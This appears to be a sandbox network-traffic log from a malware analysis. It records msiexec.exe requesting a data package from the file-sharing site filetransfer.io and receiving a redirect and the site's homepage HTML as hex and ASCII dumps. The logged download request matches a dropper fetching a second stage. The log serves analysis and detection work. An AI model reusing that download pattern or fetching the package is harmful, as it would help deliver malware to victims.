2025-01-10 19:14:22 UTC	423	IN	Data Raw: 32 31 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 21a8<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:22 UTC	1369	IN	Data Raw: 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a 64 65 73 63 72 69 Data Ascii: eta charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:descri
2025-01-10 19:14:22 UTC	1369	IN	Data Raw: 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e 70 6e 67 22 3e 0a Data Ascii: ouch-icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.png">
2025-01-10 19:14:22 UTC	1369	IN	Data Raw: 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 Data Ascii: ng"><meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" content="web
2025-01-10 19:14:22 UTC	1369	IN	Data Raw: 6e 6e 69 6e 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c 69 73 74 4c 65 61 Data Ascii: nning of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilelistLea
2025-01-10 19:14:22 UTC	1369	IN	Data Raw: 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 58 58 58 58 40 73 Data Ascii: GES.time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fXXXXX@s
2025-01-10 19:14:22 UTC	1356	IN	Data Raw: 77 69 74 63 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e 3c 2f 73 70 61 6e Data Ascii: witch to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle"></span
2025-01-10 19:14:22 UTC	1369	IN	Data Raw: 32 61 32 37 0d 0a 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d Data Ascii: 2a27<hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Frem
2025-01-10 19:14:22 UTC	1369	IN	Data Raw: 73 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 Data Ascii: s</label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="ma
2025-01-10 19:14:22 UTC	1369	IN	Data Raw: 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 20 63 61 6e 6e 6f 74 20 62 65 20 61 64 64 65 64 20 61 6c 6c 20 61 74 20 6f 6e 63 65 2c 20 70 Data Ascii: lass="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories"><span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span> cannot be added all at once, p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	57935	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:22 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:22 UTC	617	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:22 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:22 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b5saAdJl9SKOF2dSgTSXQddiSeVcx%2BR9OmKKqvNysAxorrBslmhwSia6%2Bol7JJxd2CL5o4XOPcZrY4WD6QDWuQVL%2BHidbaZEGGcpmhO2%2BouniRRLO92A6WFvaKpbt34RiA4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd5c4f128c71-EWR
2025-01-10 19:14:22 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	57936	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:23 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:23 UTC	949	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: rBjtvljx7pTEvpkulbZj1twt+D4VhOSYVDqegP+95XaDRojEcQag68BV6hcdoXAs45D2taGxvkQ= x-amz-request-id: 76Z7Q0PED2WR401H Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KZKXRKYA2cFE1cvqo%2B1M%2F0fSE7F5CSGHeFZFqYSEArou4edlvdri4mYX%2FIqNcYmVVUpfBO8FZ%2BxcjxSkulnXdEZEjy6WTy1aFwC09m7%2BkZc1TYu3S7wFnrS4a5FM8X0AhBo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd604fdd42e1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4095&min_rtt=2410&rtt_var=2107&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=798&delivery_rate=1211618&cwnd=234&unsent_bytes=0&cid=040f3bf2ceb29c79&ts=190&x=0"
2025-01-10 19:14:23 UTC	420	IN	Data Raw: 34 62 64 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 4bd0<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:23 UTC	1369	IN	Data Raw: 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a 64 65 73 Data Ascii: <meta charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:des
2025-01-10 19:14:23 UTC	1369	IN	Data Raw: 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e 70 6e 67 Data Ascii: e-touch-icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.png
2025-01-10 19:14:23 UTC	1369	IN	Data Raw: 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 Data Ascii: e.png"><meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" content="
2025-01-10 19:14:23 UTC	1369	IN	Data Raw: 65 67 69 6e 6e 69 6e 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c 69 73 74 Data Ascii: eginning of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilelist
2025-01-10 19:14:23 UTC	1369	IN	Data Raw: 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 58 58 58 Data Ascii: SSAGES.time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fXXXX
2025-01-10 19:14:23 UTC	1369	IN	Data Raw: 3d 22 53 77 69 74 63 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e 3c 2f 73 Data Ascii: ="Switch to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle"></s
